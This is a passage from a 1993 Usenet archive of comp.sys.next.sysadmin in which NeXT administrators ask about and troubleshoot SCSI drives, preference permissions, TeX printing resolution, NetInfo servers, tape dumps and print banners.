a conflict between the Quantum and the Micropolis SCSI implementations,
or is the NeXTstation's internal SCSI bus limited to only one device?
Or is there some sort of safety mechanism in the Micropolis drive which
causes it to spin down when it gets too warm? (The drive doesn't feel
particularly hot to the touch, though.)
The standard answer (from a posting a few months ago):
There is a problem with some old EPROM versions of the Micropolis 1598
and NeXTs. This problem leads to frequent time-outs (and worse if you
have other devices attached). Fortunately there is a free upgrade
available from Micropolis which eliminates this problem. Just call
them and have the identification numbers of the EPROM handy -- I found
them to be very helpful.
Also while you are at it get a recent version of "scsiformatter" and
reformat the drive to 1024 Byte blocks. This will give you another
60 MBytes of space.
Carl Edman
Newsgroups: comp.sys.next.sysadmin
From: jblue@ocotillo.mitre.org (Jason D. Blue)
Subject: DiskEjectFix -=> How do I use it?
Message-ID: <1993May11.132642.4054@linus.mitre.org>
Keywords: DiskEjectFix
Sender: news@linus.mitre.org (News Service)
Organization: The MITRE Corporation
Date: Tue, 11 May 1993 13:26:42 GMT
From the DiskEjectFix.readme:
This is the bug fix for the 3.0 floppy eject problem.
The file DiskEjectFix.daemon should be excecutable and needs to be run
by each user.
Could someone (at NeXT?) tell me if the above means that each user
should run it once, or on every login? Also, since this is a daemon,
should the file be installed in any particular location?
Your help is much appreciated,
Jason
--
Jason D. Blue
NeXT Network and Systems Administrator
The MITRE Corporation, McLean, VA
jblue@mitre.org (NeXT Mail Encouraged!)
From: Charles William Swiger <infidel+@CMU.EDU>
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc,comp.sys.next.programmer
Subject: Re: Maintaining Prefrences settings.
Date: Tue, 11 May 1993 10:13:41 -0400
Organization: Senior, Chemistry, Carnegie Mellon, Pittsburgh, PA
Message-ID: <ofvvGJu00WB3J0g8Yc@andrew.cmu.edu>
In-Reply-To: <1993May10.205852.23293@yang.earlham.edu>
Excerpts from netnews.comp.sys.next.misc: 10-May-93 Maintaining
Prefrences sett.. by rabahya@yang.earlham.edu
> I'm having a problem with the settings of my prefrences (mouse, sound,
> keyboard.. etc) Whenever I login I have to set these things and then after
> I logout they go back to somekind of a default setting, and it's a pain
> setting them everytime I login... Any suggestions to what could be causing
> this problem?
It's possible that you do not have the correct permissions to modify the
appropriate files. To fix this, do a "chown -R <user> <homedir>" as
superuser, where <user> is your login id and <homedir> is your home
directory. Then, as yourself, do a "chmod -R u+rw <homedir>" to make
sure that you can read and write to every file that you own.
If you aren't administering the machine and can't become root then ask
your system's admin to do the chown for you....
-Chuck
Charles William Swiger -- CMU...*crunch*! | 1. You can't fly. (Oops, Tom. :)
------------------------------------------+ 2. Cars are always real, even
AMS & normal mail: infidel@cmu.edu | when they're not.
Failing that: cs4w+@andrew.cmu.edu | 3. Cops are not your friends.
NeXTmail: chuck@mon.slip.andrew.cmu.edu | 4. Fire burns.
From: stuart@oasys.dt.navy.mil (Stuart Pearlman)
Newsgroups: comp.sys.next.sysadmin
Subject: Need documentation on ~/.NeXT/defaults3_0.wmd
Message-ID: <35648@oasys.dt.navy.mil>
Date: 11 May 93 14:55:08 GMT
Organization: Carderock Division, Naval Surface Warfare Center
Can anyone point me to documentation on the files in ~/.NeXT,
especially defaults3_0.wmd? I would like to write a program that I
can use (as root) to manipulate the contents of another user's shelf.
~/.NeXT/defaults3_0.wmd seems to be the file that the contents of a
user's shelf are recorded in.
Sometimes users call me up with questions like "where is program foo"
or "I had a document called bar on my shelf and I accidently removed
it, but I don't remember what folder it was in. Could you help me?"
I would like to be able to help these people by placing the
appropriate file on their shelf without having to go to their offices.
-stuart
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Trandes Corporation +1 301 459 0200
On-Contract-To: David Taylor Research Center +1 301 227 1428
Newsgroups: comp.sys.next.sysadmin
From: cary@jove.colorado.edu (John R. Cary)
Subject: Printing TeX to Apple LaserWriters gives ugly letters
Message-ID: <1993May11.151018.15189@colorado.edu>
Sender: cary@jove (John R. Cary)
Organization: University of Colorado at Boulder
Date: Tue, 11 May 1993 15:10:18 GMT
When I run latex on a file on my NeXT and print to the NeXT
laserwriter, the output looks great. But when I do the same
but direct the output to an apple laserwriter on EtherTalk
or through a gatorbox, the output looks horrible. For example,
the bottoms of 'e', 'a', 's', are missing the pixel to make
them continuous.
Do I need to do something about installing fonts?
Changing printcap?
Thanks.....John Cary
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software
From: wherndon@smiley.mitre.org (William Herndon)
Subject: Workspace lockup--diagnosis help requested
Message-ID: <1993May11.160533.9592@linus.mitre.org>
Sender: news@linus.mitre.org (News Service)
Organization: The MITRE Corporation, McLean, VA
Date: Tue, 11 May 1993 16:05:33 GMT
Lately, but with increasing frequency, my slab's workspace is locking
up while BackSpace is running its screensaver. The only option to
get the computer to respond is to do a panic reboot, <alt><shift>*.
After the reboot both my main disk and swap disk are checked with
a cycle of fsck, but no problems that the computer can't handle are
encountered. In addition, /usr/adm/messages doesn't contain any en-
lightening entries. The last message before the reboot is a Work-
space error message, but the time signature on it indicates that it
is probably a result of the panic reboot.
Are there any known problems with BackSpace or the 3.0 version of
NeXTStep that would cause this problem? Any files that I should be
checking to assist in diagnosing this problem?
My configuration is a NeXTStation with a 600 MByte external main disk,
a 100 MByte internal disk partioned into a swap partion and a partition
for /clients. The station is connected via ethernet to an 030 Cube
( off most of the time ). The cube, when powered up, mounts / and
/clients from the slab, and the Slab mounts /backup (a mount point for
backup optical disks) from the Cube.
Thanks for any assistance.
- Max
| William R. Herndon \ The MITRE Corporation, Dept. G023 |
| EMail: wherndon@mitre.org \ Secure Information Technology |
| NeXTMail: <out of order> \ MS-Z231, 703.883.6393 |
| |
| "The world bores you when you're cool." - Calvin |
From: sears@tree.egr.uh.edu (Paul S. Sears)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Workspace lockup--diagnosis help requested
Date: 11 May 1993 18:22:39 GMT
Organization: University of Houston
Message-ID: <1soqtf$4e5@menudo.uh.edu>
References: <1993May11.160533.9592@linus.mitre.org>
In article <1993May11.160533.9592@linus.mitre.org> wherndon@smiley.mitre.org
(William Herndon) writes:
# Lately, but with increasing frequency, my slab's workspace is locking
# up while BackSpace is running its screensaver. The only option to
# get the computer to respond is to do a panic reboot, <alt><shift>*.
# After the reboot both my main disk and swap disk are checked with
# a cycle of fsck, but no problems that the computer can't handle are
# encountered. In addition, /usr/adm/messages doesn't contain any en-
# lightening entries. The last message before the reboot is a Work-
# space error message, but the time signature on it indicates that it
# is probably a result of the panic reboot.
#
Are you using the "FlippyFloppy" module? This module lets you enter a text
string and then it displays in on the screen in various rotations, etc...
There module seems to tickle a bug in the DPS that NeXT uses and it causes a
total lock up (usually after about 30 minutes or so..) Don't use that
module...
# - Max
#
# | William R. Herndon \ The MITRE Corporation, Dept. G023 |
# | EMail: wherndon@mitre.org \ Secure Information Technology |
# | NeXTMail: <out of order> \ MS-Z231, 703.883.6393 |
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"Programming is like sex: One mistake and you support it a lifetime."
From: Hal.Varian@umich.edu
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Printing TeX to Apple LaserWriters gives ugly letters
Date: 11 May 1993 18:35:49 GMT
Organization: University of Michigan - College of Literature, Science, and TheArts
Distribution: world
Message-ID: <1sorm5$5ur@controversy.math.lsa.umich.edu>
References: <1993May11.151018.15189@colorado.edu>
In article <1993May11.151018.15189@colorado.edu> cary@jove.colorado.edu (John
R. Cary) writes:
> When I run latex on a file on my NeXT and print to the NeXT
> laserwriter, the output looks great. But when I do the same
> but direct the output to an apple laserwriter on EtherTalk
> or through a gatorbox, the output looks horrible. For example,
> the bottoms of 'e', 'a', 's', are missing the pixel to make
> them continuous.
>
> Do I need to do something about installing fonts?
> Changing printcap?
>
You need to "Choose custom resolution" and type in "300" in the
space provided. (The problem is that you are now trying to print out
400 dpi files on a 300 dpi printer...)
--
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voice: 313-764-2364 Dept of Economics
fax: 313-764-2364 Univ of Michigan
Ann Arbor, MI 48109-1220
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin
From: andrew@stone.com (Andrew Stone)
Subject: Getting A MAC on the net, but cheaply
Message-ID: <1993May11.164829.1028@stone.com>
Sender: andrew@stone.com
Organization: Stone Design Corp
Date: Tue, 11 May 1993 16:48:29 GMT
Hey y'all. We have a bunch of NeXT's and one lonely mac with an ASANTE
ethernet card in it.
Is there PD software that can make the Mac filesystem be exported, and
allow the Mac to mount filesystems?
I'll post a summary of the answers, thanks!
andrew
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From: jblue@ocotillo.mitre.org (Jason D. Blue)
Subject: Re: DiskEjectFix -=> How do I use it?
Message-ID: <1993May11.192040.17066@linus.mitre.org>
Sender: news@linus.mitre.org (News Service)
Organization: The MITRE Corporation
References: <1993May11.132642.4054@linus.mitre.org>
Date: Tue, 11 May 1993 19:20:40 GMT
In article <1993May11.132642.4054@linus.mitre.org> jblue@ocotillo.mitre.org
(Jason D. Blue) writes:
>
> Could someone (at NeXT?) tell me if the above means that each user
> should run it once, or on every login? Also, since this is a daemon,
> should the file be installed in any particular location?
Thank you to those that replied to my post. Thanks especially to
Mark Adler <me@quest.jpl.nasa.gov>, who pointed me to the
complete version of DiskEjectFix at next.com (pub/Binaries),
which included information on the patch unlike the
"what's-the-point-of-it" readme provided with the deamon on
other ftp sites.
The readme at next.com suggests installing the DiskEjectFix.deamon
into /usr/local/bin. It needs to be run manually only once by each user, as
it will modify the workspace (probably the defaults) to
automatically run it everytime the user logs on.
--
Jason D. Blue
NeXT Network and Systems Administrator
The MITRE Corporation, McLean, VA
jblue@mitre.org (NeXT Mail Encouraged!)
Newsgroups: comp.sys.next.sysadmin
From: raul@pencom.com (Raul Alvarez)
Subject: Re: Maintaining Prefrences settings.
Message-ID: <1993May11.190212.14795@pencom.com>
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References: <1993May10.205852.23293@yang.earlham.edu>
Date: Tue, 11 May 1993 19:02:12 GMT
In article <1993May10.205852.23293@yang.earlham.edu>
rabahya@yang.earlham.edu writes:
> Hi you NeXT wizards out there !!
>
> I'm having a problem with the settings of my prefrences (mouse, sound,
> keyboard.. etc) Whenever I login I have to set these things and then
after I
> logout they go back to somekind of a default setting, and it's a pain
setting
> them everytime I login... Any suggestions to what could be causing this
> problem?
>
OK, I'll give it a stab, I've seen this happen before.
In your home directory there is a hidden directory called ".NeXT". All of
the files in this directory, and the directory itself, should have write
permissions by you. Pay particular attention to these files:
~/NeXT
~/NeXT/defaults.nibd
~/NeXT/.NeXTdefaults.D
~/NeXT/.NeXTdefaults.L
I hope this helps!
Raul.
Newsgroups: comp.sys.next.sysadmin
From: francisr@stupid.ucs.indiana.edu (Rob Francis)
Subject: Re: Maintaining Prefrences settings.
Message-ID: <C6vuH9.16y@usenet.ucs.indiana.edu>
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Organization: Indiana University
References: <1993May10.205852.23293@yang.earlham.edu> <1993May11.190212.14795@pencom.com>
Date: Tue, 11 May 1993 22:00:44 GMT
>In article <1993May10.205852.23293@yang.earlham.edu>
>rabahya@yang.earlham.edu writes:
>> Hi you NeXT wizards out there !!
>>
>> I'm having a problem with the settings of my prefrences (mouse, sound,
>> keyboard.. etc) Whenever I login I have to set these things and then
>after I
>> logout they go back to somekind of a default setting, and it's a pain
>setting
>> them everytime I login... Any suggestions to what could be causing this
>> problem?
Could be because Prefences runs setuid root. If you are on a client
that doesn't have a home directory exported with root permissions,
then the changes can't be written. You need to login to the server
to make it stick if that's the case.
-rob
francisr@indiana.edu
Newsgroups: comp.sys.next.sysadmin
From: ndawson@vx9000.weber.edu (Neil Dawson)
Subject: Banner Pages
Message-ID: <11MAY199316250129@vx9000.weber.edu>
News-Software: VAX/VMS VNEWS 1.41
Sender: news@fcom.cc.utah.edu
Organization: Weber State University
Date: 11 May 1993 16:25 MST
I work in a lab with a network of ten NeXTColor Stations and a Cube as a
server. We have labored over how to get banner pages to print but to no avail.
Does anybody have any suggetions? If it makes a difference (which I doubt it
does) our printer is an HP Laserjet 4M. Also why can't root on the Cube delete
any print jobs? We find that you must be the user that sent the job to delete
it. Any help with either of these questions will be greatly appreciated.
Thanks in advance.
Neil
Newsgroups: comp.sys.next.sysadmin
From: uunet!sci34hub!tybrin4!trey (Trey McClendon)
Subject: Using Inform to broadcast messages
Message-ID: <1993May11.211439.5893@tybrin4.uucp>
Sender: trey@tybrin4.uucp (Trey McClendon)
Organization: TYBRIN Corporation, Huntsville AL
Date: Tue, 11 May 1993 21:14:39 GMT
A while back, someone posted a note about using the Inform program
(/usr/lib/NextPrinter/Inform) to broadcast messages to the same box used
by the printer alert system. I'd like to use this but can't remember how
to specify the hostname of the target machine.
This is what I do now:
.../Inform -b1 'I will clean up my directories' 'Disk space is getting
tight'
but, of course, this won't send the message to the correct machine.
Ideas Please!
Trey
tybrin4!trey@sci34hub.sci.com
From: mat@math.arizona.edu (Mathew D. Watson)
Newsgroups: comp.sys.next.sysadmin
Subject: DSP "unavailable" - diagnosis requested
Message-ID: <MAT.93May11200246@coral.math.arizona.edu>
Date: 12 May 93 03:02:46 GMT
Organization: Freedom for free thinkers
When I try to use apps such as ScorePlayer my system respnds with
a panel that says "Can't open DSP. Perhaps another application has it."
My system beep no longer works either. However, when booting, my system
goes thorugh some hardware diagnostics at the ROM level, and when it
gets to Sound Out, there is a beep.
How can I go about diagnosing the problem? I can't locate a lockfile that
has to do with the DSP, and don't think that the hardware is broken (
because of the beep at boot up).
Any help will be apreciated.
--Mat
mat@secundus.opt-sci.arizona.edu
Newsgroups: comp.sys.next.sysadmin
From: mcdougall@binah.cc.brandeis.edu
Subject: help bsd
Message-ID: <1993May12.040751.21718@news.cs.brandeis.edu>
Sender: news@news.cs.brandeis.edu (USENET News System)
Organization: Brandeis University
Date: Wed, 12 May 1993 04:07:51 GMT
What is the proper syntax to boot from the monitor and set the number
of buffers to say 128.
A mail reply would be nice, but a post by any of you werewolves would
just be grand. I can't remember the bloody command; its 00:11 in New England
and any help you can offer NOW would just be grand
thanks
Brendan
is it bsd nbu=128
nope load fails on that one
a 1000 cheers to the first correct answer
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From: rainer@fml.tuwien.ac.at (Rainer Staringer)
Subject: Re: Problem with Micropolis SCSI drive (solved)
Message-ID: <1993May12.073548.29758@email.tuwien.ac.at>
Sender: news@email.tuwien.ac.at
Organization: Technical University of Vienna
References: <CEDMAN.93May11083556@capitalist.princeton.edu>
Date: Wed, 12 May 1993 07:35:48 GMT
Thanks to everybody who responded. It looks as if the problem
was caused by a flakey power supply in the PC case -- the disk
drive is now sitting in an old VAXstation 2000 case on top of
the NeXTstation and the problem has disappeared. The setup does
look pretty scary, though... :-)
Rainer
--
Rainer Staringer | rainer@fml.tuwien.ac.at
Financial Markets Lab, TU Vienna | +43 (1) 58801/8138
Newsgroups: comp.sys.next.sysadmin
From: boardman@casbah.acns.nwu.edu (Michael Boardman)
Subject: Re: Printing TeX to Apple LaserWriters gives ugly letters
Message-ID: <boardman.737213300@news.acns.nwu.edu>
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Organization: Northwestern University, Evanston, Illinois, USA
References: <1993May11.151018.15189@colorado.edu>
Distribution: usa
Date: Wed, 12 May 1993 13:28:20 GMT
In <1993May11.151018.15189@colorado.edu> cary@jove.colorado.edu (John R. Cary) writes:
>When I run latex on a file on my NeXT and print to the NeXT
>laserwriter, the output looks great. But when I do the same
>but direct the output to an apple laserwriter on EtherTalk
>or through a gatorbox, the output looks horrible. For example,
>the bottoms of 'e', 'a', 's', are missing the pixel to make
>them continuous.
>Do I need to do something about installing fonts?
>Changing printcap?
>Thanks.....John Cary
You're probably printing at 400 dpi to a 300 dpi printer. If you're using
TeXview, make sure you choose a custom resolution of 300dpi. If you're
using dvips, include "-D300" in the command line before the file name.
Michael Boardman
Lake Forest College
boardman@davinci.lfc.edu
From: alex@cs.umd.edu (Alex Blakemore)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: DiskEjectFix -=> How do I use it?
Message-ID: <67491@mimsy.umd.edu>
Date: 12 May 93 13:58:19 GMT
References: <1993May11.132642.4054@linus.mitre.org> <1993May11.192040.17066@linus.mitre.org>
Sender: news@mimsy.umd.edu
Organization: U of Maryland, Dept. of Computer Science, Coll. Pk., MD 20742
jblue@ocotillo.mitre.org (Jason D. Blue) writes
> The readme at next.com suggests installing the DiskEjectFix.deamon [sic]
> into /usr/local/bin. It needs to be run manually only once by each user, as
> it will modify the workspace (probably the defaults) to
> automatically run it everytime the user logs on.
looks like it adds itself to the Workspace default called LaunchPaths
(entries are separated by semicolons)
I suppose you could write a script to make sure this is set up for every user.
--
Alex Blakemore alex@cs.umd.edu NeXT mail accepted
--------------------------------------------------------------
"Without an engaged and motivated human being at the keyboard,
the computer is just another dumb box." William Raspberry
From: alex@cs.umd.edu (Alex Blakemore)
Newsgroups: comp.sys.next.sysadmin
Subject: what are valid properties in netinfo /locations directory?
Message-ID: <67492@mimsy.umd.edu>
Date: 12 May 93 14:05:32 GMT
Sender: news@mimsy.umd.edu
Organization: U of Maryland, Dept. of Computer Science, Coll. Pk., MD 20742
netinfo question:
is there a documented list of what properties can be set in /locations
I know about the sendmail config files, but wonder what else can be set
this way.
also is it possible to automount a directory at some point other than net?
otherwise, I can only see lots of symbolic links on each host to get the
same namespace across machines. (this is what got me wondering about /locations
but is not the only reason)
--
Alex Blakemore alex@cs.umd.edu NeXT mail accepted
--------------------------------------------------------------
"Without an engaged and motivated human being at the keyboard,
the computer is just another dumb box." William Raspberry
From: alex@cs.umd.edu (Alex Blakemore)
Newsgroups: comp.sys.next.sysadmin
Subject: Who distributes netinfo for beige hardware?
Message-ID: <67493@mimsy.umd.edu>
Date: 12 May 93 14:17:19 GMT
Sender: news@mimsy.umd.edu
Organization: U of Maryland, Dept. of Computer Science, Coll. Pk., MD 20742
who distributes netinfo for Suns and other non NeXT platforms?
has anyone had good or bad experiences with it?
I tried to find the comp.sys.next.announce archives on the net
to avoid this query, but couldnt find them on sonata or orst.
sorry for the bandwidth if they are in an obvious place.
--
Alex Blakemore alex@cs.umd.edu NeXT mail accepted
--------------------------------------------------------------
"Without an engaged and motivated human being at the keyboard,
the computer is just another dumb box." William Raspberry
From: louie@sayshell.umd.edu (Louis A. Mamakos)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: netinfo across routers ??
Date: 12 May 1993 14:16:54 GMT
Organization: The University of Maryland, College Park
Distribution: usa
Message-ID: <1sr0sm$qad@ni.umd.edu>
References: <1sk9nl$cro@ni.umd.edu> <1993May10.124250.15159@xexos.com>
In article <1993May10.124250.15159@xexos.com> mark@xexos.com writes:
>In article <1sk9nl$cro@ni.umd.edu> louie@sayshell.umd.edu (Louis A. Mamakos)
>writes:
>> Yuk. If you have NeXT scattered across 5 different networks, you might prefer
>> to not have clones everywhere.
>
>Yeah, its not appropriate where you might only have one or two NeXTs on those 5
>different networks, but where you have say 5 subnets of machines, each with a
>bunch of NeXTs on them, and only want to use a flat netinfo domain system (or
>have more than one subnet of machines in the same domain), its the neatest way.
I disagree. We have clusters of 20 machines each scattered around.
It is not operationally possible to have *any* of those workstations
acting as a clone server because they can and do get rebooted at any
time without any notice.
We would be foolish to build an operational infrastructure which
depended on the stability of systems that were completely unprotected
and in a hostile environment. And I don't just mean undergraduate
students using these things; I mean lack of UPS power, and lack of
physical security.
We get by with two Netinfo servers for a group of roughly 95 NeXT
platforms. We only *have* two NeXT "server" platforms that are not
workstations; the rest of the servers are Sun and DEC platforms. If
someone is going to suggest that Netinfo shouldn't handle a 100
machines spread over two servers, then I'll soundly flame them,
because we run *thousands* of machines off of 4 DNS servers with no
problems.
Louis Mamakos
University of Maryland
From: sears@tree.egr.uh.edu (Paul S. Sears)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: netinfo across routers ??
Date: 12 May 1993 16:23:05 GMT
Organization: University of Houston
Distribution: usa
Message-ID: <1sr899$5ol@menudo.uh.edu>
References: <1sr0sm$qad@ni.umd.edu>
In article <1sr0sm$qad@ni.umd.edu> louie@sayshell.umd.edu (Louis A. Mamakos)
writes:
#
#I disagree. We have clusters of 20 machines each scattered around.
#It is not operationally possible to have *any* of those workstations
#acting as a clone server because they can and do get rebooted at any
#time without any notice.
#
#We would be foolish to build an operational infrastructure which
#depended on the stability of systems that were completely unprotected
#and in a hostile environment. And I don't just mean undergraduate
#students using these things; I mean lack of UPS power, and lack of
#physical security.
#
#We get by with two Netinfo servers for a group of roughly 95 NeXT
#platforms. We only *have* two NeXT "server" platforms that are not
#workstations; the rest of the servers are Sun and DEC platforms. If
#someone is going to suggest that Netinfo shouldn't handle a 100
#machines spread over two servers, then I'll soundly flame them,
#because we run *thousands* of machines off of 4 DNS servers with no
#problems.
#
#Louis Mamakos
#University of Maryland
I second that. We currently have more than 50 NeXTs served by two
"servers". The NetInfo load is minimal compared to the NFS load on the
servers. One machine can easily be a NetInfo master for far more than 100
machines. Throw NFS into that pot then your mileage will differ..
--
Paul S. Sears * sears@uh.edu (NeXT Mail OK)
The University of Houston * suggestions@tree.egr.uh.edu (NeXT
Engineering Computing Center * comments, complaints, questions)
NeXT System Administration * DoD#1967 '83 NightHawk 650SC
>>> SSI Diving Certification #755020059 <<<
"Programming is like sex: One mistake and you support it a lifetime."
From: minch@lotka.stanford.edu
Newsgroups: comp.sys.next.sysadmin
Subject: filesystem full; can't reboot
Date: 12 May 1993 17:48:18 GMT
Organization: Stanford University
Message-ID: <1srd92$5ga@morrow.stanford.edu>
Somehow the 105MB internal on our station has gotten full, even
though it has only a minimal number of system files and all user
work is restricted to an external hanging off a remote server.
Now reboots seem impossible, even in single user mode. I don't
know what file[s] have used up all the space (there should be
~40MB free) and know no way to find out. The station responds to
pings across the net but no telnet and NFS access is of course
impossible.
Anyone know of a way around this besides reinstalling 3.0?
--
Eric Minch
From: tpugh@oce.orst.edu (Tim Pugh)
Newsgroups: comp.sys.next.sysadmin
Subject: ?: NS and disk drives > 2.0GB
Message-ID: <1srnsc$e02@gaia.ucs.orst.edu>
Date: 12 May 93 20:49:16 GMT
Article-I.D.: gaia.1srnsc$e02
Organization: University Computing Services - Oregon State University
Does NEXTSTEP support disk drives greater than 2 GB ( > 2^31 )?
I mounted a 3.0GB drive and this is what df says:
Filesystem kbytes used avail capacity Mounted on
umbaluru:/usr4 -1309307-1374901 36744 99% /Net/umbaluru/usr4
This is what it should say (from the host machine under HPUX)
Filesystem kbytes used avail capacity Mounted on
/dev/dsk/1s0 2884997 2819403 36744 99% /usr4
The avail space is correct but kbtyes and used are not reported correctly
on the NeXT.
Is this just a problem with the df command? Or is there a problem with
how much the NeXT can address?
- Tim -
--
Tim Pugh
College of Oceanic and Atmospheric Sciences
Oregon State University
tpugh@oce.orst.edu
NeXTmail ok!
From: teske@opac1.cc.vt.edu (Steve Teske)
Newsgroups: comp.sys.next.sysadmin
Subject: How To Automatically Forward Mail
Date: 12 May 1993 20:01:47 GMT
Organization: Virginia Tech, Blacksburg, Virginia
Message-ID: <1srl3b$8tc@vtserf.cc.vt.edu>
Keywords: Mail Forward Network NeXT
My desire is to forward all my mail to one workstation in the network of
NeXT's that I work with. There is no mail server set up for the network.
I could use some hints on how to automatically forward mail to one
workstation.
--
Steve Teske, Virginia Tech Computing Center, Blacksburg, Virginia
phone: (703)231-6256 ___ __ __ __ _______
teske@opac1.cc.vt.edu //|| // ____ \\ // // Expanding the
teske@opac2.cc.vt.edu // || // // \\ \\// // paradigm of OO prog
teske@opac3.cc.vt.edu // || // ||====== //\\ // on a platform made to
teske@info1.cc.vt.edu // ||// \\_____ // \\ // order -- NeXTStep.
From: hans@symbas.UUCP (Hans Aafloy)
Newsgroups: comp.sys.next.sysadmin
Subject: dump : write error
Message-ID: <3819@symbas.UUCP>
Date: 12 May 93 13:41:38 GMT
Distribution: world
Organization: Symbiotic Computer Systems A/S, Trondheim, Norway
I've tried to dump 1 GB of data onto a HP35460 tape drive (/dev/rst0)
using a 197 ft dat tape, and the following message is issued in the
middle of the backup:
DUMP: Tape write error 24909 feet into tape 1
My question is n o t how thats possible on a 197' tape :-)
(the man page operates with size equivalents ( 1600 bpi
reel-to-reel tape)), rather how many "feet" equivalents are my 197'
tape ?
In other words : Which value should I give the s key in the dump program ?
Any ideas out there ??
hans
==========================================================================
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LindMac A/S Phone: +477 96 73 11
7038 Trondheim, NORWAY Fax: . . . .45 05
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Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin,comp.sys.next.misc
From: piro@bnlux1.bnl.gov (Oreste Piro)
Subject: Would a Seagate HD boot my 030 cube?
Message-ID: <1993May12.205757.6983@bnlux1.bnl.gov>
Organization: Brookhaven National Laboratory, Upton, NY 11973
References: <1s3tkh$7bk@charm.magnus.acs.ohio-state.edu>
Date: Wed, 12 May 1993 20:57:57 GMT
I have this very definite question and would like a very definite
answer:
Is it possible to build a bootable disk from a 040 nonturbo cube
and boot an 030 machine from it?
Would the Seagate ST41200N do it?
Thanks in advance.
O. Piro.
From: gregory@brigham-circle.mit.edu (Greg Howland)
Newsgroups: comp.sys.next.sysadmin
Subject: lost AppleTalk.pkg
Date: 13 May 1993 00:42:54 GMT
Organization: Massachvsetts Institvte of Technology
Message-ID: <1ss5ieINN1bg@senator-bedfellow.MIT.EDU>
I lost the AppleTalk.pkg during my upgrade to 3.0. Could someone
NEXTmail the package to me.
Thanks,
Greg
gregory@brigham-circle.mit.edu
Newsgroups: comp.sys.next.sysadmin
From: dale@hecate.phy.queensu.ca (Dale Swanston)
Subject: usernames in addresses pane;
Message-ID: <C6y2JC.6En@knot.ccs.queensu.ca>
Sender: news@knot.ccs.queensu.ca (Netnews control)
Organization: Queen's University, Kingston
Date: Thu, 13 May 1993 02:50:00 GMT
Hi all,
Just a quick question. Should all the usernames that are a part of the
NetInfo domain show up in the Addresses (Users) panel of the Mail app?
I've heard rumors of this but mine don't, so I'm wondering if it is true.
If they should then should it include the users in just the local domain
or in the entire reaches of root Netinfo domain?
Brief system setup (initially set up by non-professional): a NeXTStation
acts as the NetInfo server and a different machine (an old Cube) acts as
the mail server (or at least it is supposed to be). Just two machines in
root domain. Running 3.O.
Any help would be greatly appreciated. If I need to elaborate on the
setup then just yell.
---
Dale Swanston
Dept of Physics NeXTmail welcome.
Queen's University
Kingston, Ontario dale@hecate.phy.queensu.ca
Newsgroups: comp.sys.next.sysadmin
From: Gregory W. Gee <gee@gaul.csd.uwo.ca>
Subject: hooks for apps?
Organization: Relayed-by-Sendmail
Date: Thu, 13 May 1993 03:15:37 GMT
Message-ID: <9305130315.AA29796@gaul.csd.uwo.ca>
To: comp.sys.next.sysadmin@newshost.uwo.ca
Sender: daemon@julian.uwo.ca (Julian System Daemon Account)
I was wondering if there was something similar to LoginHook and LogoutHook
for apps? Is this possible?
Thanks.
****************************************************************************
Greg Gee gee@gaul.csd.uwo.ca
Honours Computer Science, ggee@hi_presure_lab.gp.uwo.ca
University of Western Ontario NeXT Mail accepted
>>> Developing in the NeXT generation <<<
****************************************************************************
From: george@unixg.ubc.ca (George Chow)
Newsgroups: comp.sys.next.sysadmin
Subject: Does NS3/3.1 install onto a 100Mb drive?
Date: 13 May 1993 03:23:33 GMT
Organization: University of British Columbia, Vancouver, B.C., Canada
Distribution: world
Message-ID: <1ssevlINNkqs@skeena.ucs.ubc.ca>
Howdy,
Seeing that 3.1 is arriving by the end of the month, I thought I would
ask this question. I know that NS/FIP is spec in the info sheet as
requiring at least 120Mb of drive space. What about 3.1 for NeXT equipment?
What about a hybrid of a 100Mb HD and a CD-ROM drive?
And what about NS3? Does that fit onto a 100Mb drive?
Thanks.
George
Newsgroups: comp.sys.next.hardware,comp.sys.next.misc,comp.sys.next.sysadmin
From: kent@infoserv.com
Subject: CDR-36 (NEC) will it work with Black Hardware?
Message-ID: <C6w4Hx.I3@infoserv.com>
Sender: kent@infoserv.com (Kent L. Shephard)
Organization: K. L. Shephard Consulting
Distribution: na
Date: Wed, 12 May 1993 01:37:08 GMT
I guess the subject says it all.
I know the drive isn't fast or compatible with the Kodak stuff but
I need to know will it work with an '040 machine. I know where to get
them for $249 new, in the box and I'd like to be able to upgrade my
machine to 3.1. I used the Sun CD-ROM from work to upgrade to 3.0 but I won't
be at the same company in 3 weeks. If anyone has had any luck getting a NEC
CDR-36 to work on a NeXT please let me know.
(email or posting is fine)
Kent
--
/* K.L. Shephard Consulting is my company. Infoserv only delivers my mail. */
/* Please direct mail to kent@infoserv.com other adresses may not work. */
Newsgroups: comp.sys.next.sysadmin
From: sanguish@digifix.com (Scott Anguish)
Subject: Compiling/Installing current C-News on the Next
Message-ID: <1993May13.095704.9620@digifix.com>
Sender: sanguish@digifix.com (Scott Anguish)
Organization: Digital Fix Development
Date: Thu, 13 May 1993 09:57:04 GMT
Hi All..
Is there any gotchas trying to compile and install the current C-news
for use on the Next? I want to replace my old, slow version (the inews script
is just that, a script).
I would imagine the header locations could be a problem, but anything
else?
I can't afford for my newsfeed to be down for more than 30 minutes or
so, so I am a little concerned about jumping into things before asking...
--
- Scott Anguish -
sanguish@digifix.com (NextMail)
next-announce@digifix.com (comp.sys.next.announce submissions)
Newsgroups: comp.sys.next.sysadmin
From: danders@carn3 (Dave Anderson)
Subject: Educational prices for 3.1 and NS486?
Message-ID: <1993May13.122211.13009@alleg.edu>
Sender: news@alleg.edu
Organization: Allegheny College
Date: Thu, 13 May 1993 12:22:11 GMT
Has anyone seen any information on the educational pricing for 3.1 or
NS486? Our local rep (Pittsburgh) claims that discussion is still going
on about educational pricing but has also told us that no one in NeXT is
really in charge of the higher education division!
David Anderson, Director
Educational Computing Services
Allegheny College
Newsgroups: comp.sys.next.sysadmin
From: ndawson@vx9000.weber.edu (Neil Dawson)
Subject: Banner Pages
Message-ID: <13MAY199307562135@vx9000.weber.edu>
News-Software: VAX/VMS VNEWS 1.41
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Date: 13 May 1993 07:56 MST
Hello,
I work in a lab with ten NeXTStations networked. We have been trying to get
banner pages to be printed with each print job but to no avail. Does anybody
have any sugestions?
Also why is it that root can not delete a print job in print manager? We found
that you must be the user that sent the job and on the machine from which the
job was sent. Thanks in advance for any help.
Neil
